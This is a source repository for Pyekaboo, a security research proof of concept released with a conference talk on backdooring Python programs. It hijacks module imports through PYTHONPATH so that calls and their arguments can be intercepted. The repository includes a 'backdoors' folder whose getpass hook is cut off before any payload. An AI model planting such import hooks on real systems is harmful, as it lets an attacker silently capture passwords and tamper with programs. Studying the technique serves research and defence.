├── test_apps ├── django_test │ └── blog │ │ ├── blog │ │ ├── __init__.py │ │ ├── wsgi.py │ │ ├── urls.py │ │ └── settings.py │ │ ├── db.sqlite3 │ │ ├── manage.py │ │ └── output ├── getpass_test │ └── getpass_test.py └── pyclamd_test │ └── pyclamd_test.py ├── README.md ├── .gitignore ├── LICENSE ├── scripts ├── disable_pyekaboo.sh └── enable_pyekaboo.sh └── pyekaboo ├── pyekaboo.py ├── backdoors ├── getpass.py ├── pyclamd.py └── socket.py └── mkpyekaboo.py /test_apps/django_test/blog/blog/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /test_apps/django_test/blog/db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/pyekaboo/HEAD/test_apps/django_test/blog/db.sqlite3 -------------------------------------------------------------------------------- /test_apps/getpass_test/getpass_test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import getpass 4 | 5 | getpass.getpass("Enter your password: ") 6 | -------------------------------------------------------------------------------- /test_apps/pyclamd_test/pyclamd_test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import pyclamd 4 | cd = pyclamd.ClamdAgnostic() 5 | print "Asking to scan Stream w/ EICAR: " 6 | print cd.scan_stream(cd.EICAR()) 7 | 8 | -------------------------------------------------------------------------------- /test_apps/django_test/blog/blog/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for blog project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "blog.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /test_apps/django_test/blog/blog/urls.py: -------------------------------------------------------------------------------- 1 | """blog URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/1.10/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.conf.urls import url, include 14 | 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) 15 | """ 16 | from django.conf.urls import url 17 | from django.contrib import admin 18 | 19 | urlpatterns = [ 20 | url(r'^admin/', admin.site.urls), 21 | ] 22 | -------------------------------------------------------------------------------- /test_apps/django_test/blog/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "blog.settings") 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError: 10 | # The above import may fail for some other reason. Ensure that the 11 | # issue is really that Django is missing to avoid masking other 12 | # exceptions on Python 2. 13 | try: 14 | import django 15 | except ImportError: 16 | raise ImportError( 17 | "Couldn't import Django. Are you sure it's installed and " 18 | "available on your PYTHONPATH environment variable? Did you " 19 | "forget to activate a virtual environment?" 20 | ) 21 | raise 22 | execute_from_command_line(sys.argv) 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pyekaboo 2 | 3 | Pyekaboo is a proof-of-concept program that is able to to hijack/hook/proxy Python module(s) thanks to $PYTHONPATH variable. It's like "DLL Search Order Hijacking" for Python. 4 | 5 | It was released as part of the [Backdooring Your Python Programs](http://thotcon.org/schedule.html) talk given at THOTCON 0x8 conference by Itzik Kotler from [SafeBreach Labs](http://www.safebreach.com). 6 | 7 | Slides are availble [here](http://www.ikotler.org/InYourPythonPath.pdf) 8 | 9 | ### Version 10 | 0.1.0 11 | 12 | ### Installation 13 | 14 | Pyekaboo requires [Python](https://python.org/) and was tested with Python 2.7.10. 15 | 16 | ```sh 17 | $ git clone https://github.com/SafeBreach-Labs/pyekaboo.git 18 | $ cd pyekaboo 19 | $ cd pyekaboo 20 | $ python mkpyekaboo.py -h 21 | ``` 22 | 23 | ### Example: Debugging Python's sockets Module 24 | 25 | ```sh 26 | # assume pyekaboo root directory 27 | $ cd scripts 28 | $ python ../pyekaboo/mkpyekaboo.py -l 6 socket 29 | $ ./enable_pyekaboo.sh -i 30 | $ python ../test_apps/django_test/blog/manage.py runserver 31 | ``` 32 | 33 | License 34 | ---- 35 | 36 | BSD 3-Clause 37 | 38 | ### 39 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, SafeBreach Labs 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /scripts/disable_pyekaboo.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # DISABLE_PYEKABOO.SH, Itzik Kotler, See: https://github.com/SafeBreach-Labs/pyekaboo 4 | # ----------------------------------------------------------------------------------- 5 | # 6 | # Copyright (c) 2017, SafeBreach 7 | # All rights reserved. 8 | # 9 | # Redistribution and use in source and binary forms, with or without 10 | # modification, are permitted provided that the following conditions are 11 | # met: 12 | # 13 | # 1. Redistributions of source code must retain the above 14 | # copyright notice, this list of conditions and the following 15 | # disclaimer. 16 | # 17 | # 2. Redistributions in binary form must reproduce the 18 | # above copyright notice, this list of conditions and the following 19 | # disclaimer in the documentation and/or other materials provided with 20 | # the distribution. 21 | # 22 | # 3. Neither the name of the copyright holder 23 | # nor the names of its contributors may be used to endorse or promote 24 | # products derived from this software without specific prior written 25 | # permission. 26 | # 27 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS 28 | # AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, 29 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 30 | # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 31 | # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 32 | # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 33 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 34 | # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 35 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 36 | # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 37 | # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 38 | # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 39 | 40 | echo "Disabling pyekaboo ..." 41 | 42 | if [ -z "$PYTHONPATH" ]; then 43 | echo "[!] PYTHONPATH is not set. Are you sure pyekaboo is already enabled?" 44 | else 45 | unset PYTHONPATH 46 | echo "[*] Clearing PYTHONPATH env var set!" 47 | fi 48 | 49 | if [ "$1" == "-i" ]; then 50 | echo "[*] Starting Interactive Mode ..." 51 | $SHELL 52 | fi 53 | -------------------------------------------------------------------------------- /test_apps/django_test/blog/output: -------------------------------------------------------------------------------- 1 | ['EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_OK', 'NGROUPS_MAX', 'O_APPEND', 'O_ASYNC', 'O_CREAT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_EXLOCK', 'O_NDELAY', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_RDONLY', 'O_RDWR', 'O_SHLOCK', 'O_SYNC', 'O_TRUNC', 'O_WRONLY', 'P_NOWAIT', 'P_NOWAITO', 'P_WAIT', 'R_OK', 'SEEK_CUR', 'SEEK_END', 'SEEK_SET', 'TMP_MAX', 'UserDict', 'WCONTINUED', 'WCOREDUMP', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'X_OK', '_Environ', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_copy_reg', '_execvpe', '_exists', '_exit', '_get_exports_list', '_make_stat_result', '_make_statvfs_result', '_pickle_stat_result', '_pickle_statvfs_result', '_spawnvef', 'abort', 'access', 'altsep', 'chdir', 'chflags', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'ctermid', 'curdir', 'defpath', 'description', 'devnull', 'dup', 'dup2', 'environ', 'errno', 'error', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'extsep', 'fchdir', 'fchmod', 'fchown', 'fd', 'fdopen', 'fork', 'forkpty', 'fpathconf', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'getcwd', 'getcwdu', 'getegid', 'getenv', 'geteuid', 'getgid', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getsid', 'getuid', 'imp', 'initgroups', 'isatty', 'kill', 'killpg', 'lchflags', 'lchmod', 'lchown', 'linesep', 'link', 'listdir', 'lseek', 'lstat', 'major', 'makedev', 'makedirs', 'minor', 'mkdir', 'mkfifo', 'mknod', 'name', 'nice', 'open', 'openpty', 'pardir', 'path', 'pathconf', 'pathconf_names', 'pathname', 'pathsep', 'pipe', 'popen', 'popen2', 'popen3', 'popen4', 'putenv', 'read', 'readlink', 'remove', 'removedirs', 'rename', 'renames', 'rmdir', 'sep', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setregid', 'setreuid', 'setsid', 'setuid', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'stat', 'stat_float_times', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'symlink', 'sys', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'tempnam', 'times', 'tmpfile', 'tmpnam', 'ttyname', 'umask', 'uname', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitpid', 'walk', 'write'] 2 | -------------------------------------------------------------------------------- /scripts/enable_pyekaboo.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # ENABLE_PYEKABOO.SH, Itzik Kotler, See: https://github.com/SafeBreach-Labs/pyekaboo 4 | # ---------------------------------------------------------------------------------- 5 | # 6 | # Copyright (c) 2017, SafeBreach 7 | # All rights reserved. 8 | # 9 | # Redistribution and use in source and binary forms, with or without 10 | # modification, are permitted provided that the following conditions are 11 | # met: 12 | # 13 | # 1. Redistributions of source code must retain the above 14 | # copyright notice, this list of conditions and the following 15 | # disclaimer. 16 | # 17 | # 2. Redistributions in binary form must reproduce the 18 | # above copyright notice, this list of conditions and the following 19 | # disclaimer in the documentation and/or other materials provided with 20 | # the distribution. 21 | # 22 | # 3. Neither the name of the copyright holder 23 | # nor the names of its contributors may be used to endorse or promote 24 | # products derived from this software without specific prior written 25 | # permission. 26 | # 27 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS 28 | # AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, 29 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 30 | # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 31 | # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 32 | # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 33 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 34 | # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 35 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 36 | # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 37 | # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 38 | # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 39 | 40 | echo "Enabling pyekaboo ..." 41 | 42 | HOOK_DIR=`pwd` 43 | HOOKS=0 44 | 45 | if [ ! -z "$PYTHONPATH" ]; then 46 | echo "[!] PYTHONPATH env var is already set (=$PYTHONPATH). Maybe pyekaboo is already enabled?" 47 | else 48 | if [ ! -z "$1" ] && [ -d "$1" ]; then 49 | HOOK_DIR=$1 50 | shift 51 | fi 52 | export PYTHONPATH=$HOOK_DIR 53 | echo "[*] PYTHONPATH env var set! (=$PYTHONPATH)" 54 | fi 55 | 56 | for HOOK_FILE in $(ls $HOOK_DIR/*.py* 2> /dev/null); do 57 | echo "[+] Found $HOOK_FILE ... will be triggerd once a Python program will attempt to: \"import $(basename ${HOOK_FILE%.*})\"" 58 | HOOKS=$((HOOKS+1)) 59 | done 60 | 61 | if [ $HOOKS == 0 ]; then 62 | echo "[!] No HOOKS (i.e. Python files) were found! Are you sure $HOOK_DIR is where your hooks are?" 63 | else 64 | echo "[*] Found $HOOKS hook(s)" 65 | fi 66 | 67 | if [ "$1" == "-i" ]; then 68 | echo "[*] Starting Interactive Mode ..." 69 | $SHELL 70 | fi 71 | -------------------------------------------------------------------------------- /test_apps/django_test/blog/blog/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for blog project. 3 | 4 | Generated by 'django-admin startproject' using Django 1.10.2. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.10/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/1.10/ref/settings/ 11 | """ 12 | 13 | import os 14 | 15 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...) 16 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = 'qi*sqo#spx#^u_qw5^ahj16p12_*z=_cuil_ouxr(1fi8vne!*' 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = True 27 | 28 | ALLOWED_HOSTS = [] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'django.contrib.admin', 35 | 'django.contrib.auth', 36 | 'django.contrib.contenttypes', 37 | 'django.contrib.sessions', 38 | 'django.contrib.messages', 39 | 'django.contrib.staticfiles', 40 | ] 41 | 42 | MIDDLEWARE = [ 43 | 'django.middleware.security.SecurityMiddleware', 44 | 'django.contrib.sessions.middleware.SessionMiddleware', 45 | 'django.middleware.common.CommonMiddleware', 46 | 'django.middleware.csrf.CsrfViewMiddleware', 47 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 48 | 'django.contrib.messages.middleware.MessageMiddleware', 49 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 50 | ] 51 | 52 | ROOT_URLCONF = 'blog.urls' 53 | 54 | TEMPLATES = [ 55 | { 56 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 57 | 'DIRS': [], 58 | 'APP_DIRS': True, 59 | 'OPTIONS': { 60 | 'context_processors': [ 61 | 'django.template.context_processors.debug', 62 | 'django.template.context_processors.request', 63 | 'django.contrib.auth.context_processors.auth', 64 | 'django.contrib.messages.context_processors.messages', 65 | ], 66 | }, 67 | }, 68 | ] 69 | 70 | WSGI_APPLICATION = 'blog.wsgi.application' 71 | 72 | 73 | # Database 74 | # https://docs.djangoproject.com/en/1.10/ref/settings/#databases 75 | 76 | DATABASES = { 77 | 'default': { 78 | 'ENGINE': 'django.db.backends.sqlite3', 79 | 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 80 | } 81 | } 82 | 83 | 84 | # Password validation 85 | # https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators 86 | 87 | AUTH_PASSWORD_VALIDATORS = [ 88 | { 89 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 90 | }, 91 | { 92 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 93 | }, 94 | { 95 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 96 | }, 97 | { 98 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 99 | }, 100 | ] 101 | 102 | 103 | # Internationalization 104 | # https://docs.djangoproject.com/en/1.10/topics/i18n/ 105 | 106 | LANGUAGE_CODE = 'en-us' 107 | 108 | TIME_ZONE = 'UTC' 109 | 110 | USE_I18N = True 111 | 112 | USE_L10N = True 113 | 114 | USE_TZ = True 115 | 116 | 117 | # Static files (CSS, JavaScript, Images) 118 | # https://docs.djangoproject.com/en/1.10/howto/static-files/ 119 | 120 | STATIC_URL = '/static/' 121 | -------------------------------------------------------------------------------- /pyekaboo/pyekaboo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright (c) 2017, SafeBreach 4 | # All rights reserved. 5 | # 6 | # Redistribution and use in source and binary forms, with or without 7 | # modification, are permitted provided that the following conditions are 8 | # met: 9 | # 10 | # 1. Redistributions of source code must retain the above 11 | # copyright notice, this list of conditions and the following 12 | # disclaimer. 13 | # 14 | # 2. Redistributions in binary form must reproduce the 15 | # above copyright notice, this list of conditions and the following 16 | # disclaimer in the documentation and/or other materials provided with 17 | # the distribution. 18 | # 19 | # 3. Neither the name of the copyright holder 20 | # nor the names of its contributors may be used to endorse or promote 21 | # products derived from this software without specific prior written 22 | # permission. 23 | # 24 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS 25 | # AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, 26 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 27 | # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 28 | # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 29 | # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 31 | # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 32 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 33 | # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 34 | # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 35 | # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 36 | 37 | #################### 38 | # Global Variables # 39 | #################### 40 | 41 | __version__ = "1.0" 42 | __author__ = "Itzik Kotler" 43 | __copyright__ = "Copyright 2017, SafeBreach" 44 | 45 | ### DO NOT REMOVE THIS LINE! ### 46 | 47 | import sys 48 | 49 | ########## 50 | # Consts # 51 | ########## 52 | 53 | _HOOK_TEMPLATES_DICT = \ 54 | { 55 | "_hook_%(name)s": 56 | """ 57 | def _hook_%(name)s(self, *args, **kwargs): 58 | #print "\\nCLS HOOK: %%s.%(name)s(args=%%s, kwargs=%%s) = ..." %% (__name__, args, kwargs) 59 | _hook_args = args 60 | _hook_kwargs = kwargs 61 | (_hook_args, _hook_kwargs) = self._pre_%(name)s_hook(*args, **kwargs) 62 | #print "\\tCalling _pre_%(name)s_hook(%%s, %%s) = (%%s, %%s)" %% (args, kwargs, _hook_args, _hook_kwargs) 63 | retval = object.__getattribute__(self, '%(name)s')(*_hook_args, **_hook_kwargs) 64 | #print "\\tCalling _post_%(name)s(args=%%s, kwargs=%%s) = %%s" %% (_hook_args, _hook_kwargs, str(retval)) 65 | retval = self._post_%(name)s_hook(retval, *_hook_args, **_hook_kwargs) 66 | #print "= %%s" %% (str(retval)) 67 | return retval 68 | """ 69 | , 70 | "_pre_%(name)s_hook": 71 | """ 72 | def _pre_%(name)s_hook(self, *args, **kwargs): 73 | return (args, kwargs) 74 | """ 75 | , 76 | "_post_%(name)s_hook": 77 | """ 78 | def _post_%(name)s_hook(self, retval, *args, **kwargs): 79 | return retval 80 | """ 81 | } 82 | 83 | ########### 84 | # Classes # 85 | ########### 86 | 87 | class _CustomGetAttribute: 88 | def __getattribute__(self, name): 89 | retval = object.__getattribute__(self, name) 90 | 91 | # "Magic" Objects / Weak "Internal Use" Indicator? AS IS! 92 | if name.startswith('_'): 93 | return retval 94 | 95 | # Callable? Hook! 96 | if callable(retval): 97 | try: 98 | return object.__getattribute__(self, '_hook_' + name) 99 | except AttributeError: 100 | import types 101 | 102 | # i.e. ("_hook_%(name)s", "def _hook_%(name)s(self, *args, **kwargs): ..." 103 | for fcn_template_name, fcn_template_code in _HOOK_TEMPLATES_DICT.iteritems(): 104 | fcn_name = fcn_template_name % {'name': name} 105 | 106 | # No such hook function? Create it! 107 | if not hasattr(self, fcn_name): 108 | fcn_code = fcn_template_code % {'name': name} 109 | if self.__trace__ == True: 110 | fcn_code = fcn_code.replace('#print', 'print') 111 | exec fcn_code 112 | setattr(self, fcn_name, types.MethodType(locals()[fcn_name], self)) 113 | 114 | return object.__getattribute__(self, '_hook_' + name) 115 | 116 | return retval 117 | 118 | 119 | class _InstallClsHook(type): 120 | def __new__(meta, name, bases, dct): 121 | try: 122 | bases = (_CustomGetAttribute,) + bases + (getattr(sys.modules[__name__],name),) 123 | except: 124 | pass 125 | return type.__new__(meta, name, bases, dct) 126 | 127 | 128 | class _InstallFcnHook(object): 129 | def __init__(self, fcn, debug=False): 130 | self.debug = debug 131 | self._fcn = fcn 132 | 133 | def _pre_hook(self, *args, **kwargs): 134 | return (args, kwargs) 135 | 136 | def _post_hook(self, retval, *args, **kwargs): 137 | return retval 138 | 139 | def __call__(self, *args, **kwargs): 140 | if self.debug: 141 | print "\nFCN HOOK: %s(args=%s, kwargs=%s) = ..." % (self._fcn.__name__, args, kwargs) 142 | 143 | _hook_args = args 144 | _hook_kwargs = kwargs 145 | (_hook_args, _hook_kwargs) = self._pre_hook(*args, **kwargs) 146 | 147 | if self.debug: 148 | print "\tCalling _pre_hook(%s, %s) = (%s, %s)" % (args, kwargs, _hook_args, _hook_kwargs) 149 | 150 | retval = self._fcn(*_hook_args, **_hook_kwargs) 151 | 152 | if self.debug: 153 | print "\tCalling _post_hook(args=%s, kwargs=%s) = %s" % (_hook_args, _hook_kwargs, str(retval)) 154 | 155 | retval = self._post_hook(retval, *_hook_args, **_hook_kwargs) 156 | 157 | if self.debug: 158 | print "= %s" % (str(retval)) 159 | 160 | return retval 161 | 162 | ############# 163 | # Functions # 164 | ############# 165 | 166 | def _load_and_register_as(input_modname, output_modnames=[], look_path=[]): 167 | import imp 168 | mod = None 169 | fd = None 170 | try: 171 | fd, pathname, description = imp.find_module(input_modname, look_path) 172 | for output_name in output_modnames: 173 | mod = imp.load_module(output_name, fd, pathname, description) 174 | finally: 175 | if fd is not None: 176 | fd.close() 177 | return mod 178 | 179 | if __name__ != "__main__" and __name__ != "pyekaboo": 180 | _load_and_register_as(__name__, [__name__, "orig_" + __name__], sys.path[::-1]) 181 | -------------------------------------------------------------------------------- /pyekaboo/backdoors/getpass.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2017, SafeBreach 2 | # All rights reserved. 3 | # 4 | # Redistribution and use in source and binary forms, with or without 5 | # modification, are permitted provided that the following conditions are 6 | # met: 7 | # 8 | # 1. Redistributions of source code must retain the above 9 | # copyright notice, this list of conditions and the following 10 | # disclaimer. 11 | # 12 | # 2. Redistributions in binary form must reproduce the 13 | # above copyright notice, this list of conditions and the following 14 | # disclaimer in the documentation and/or other materials provided with 15 | # the distribution. 16 | # 17 | # 3. Neither the name of the copyright holder 18 | # nor the names of its contributors may be used to endorse or promote 19 | # products derived from this software without specific prior written 20 | # permission. 21 | # 22 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS 23 | # AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, 24 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 25 | # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 26 | # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 27 | # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 28 | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 29 | # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 30 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 31 | # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 32 | # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 33 | # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 34 | 35 | import sys 36 | import time 37 | 38 | #################### 39 | # Global Variables # 40 | #################### 41 | 42 | __version__ = "1.0" 43 | __author__ = "Itzik Kotler" 44 | __copyright__ = "Copyright 2017, SafeBreach" 45 | 46 | ########## 47 | # Consts # 48 | ########## 49 | 50 | _HOOK_TEMPLATES_DICT = \ 51 | { 52 | "_hook_%(name)s": 53 | """ 54 | def _hook_%(name)s(self, *args, **kwargs): 55 | #print "\\nCLS HOOK: %%s.%(name)s(args=%%s, kwargs=%%s) = ..." %% (__name__, args, kwargs) 56 | _hook_args = args 57 | _hook_kwargs = kwargs 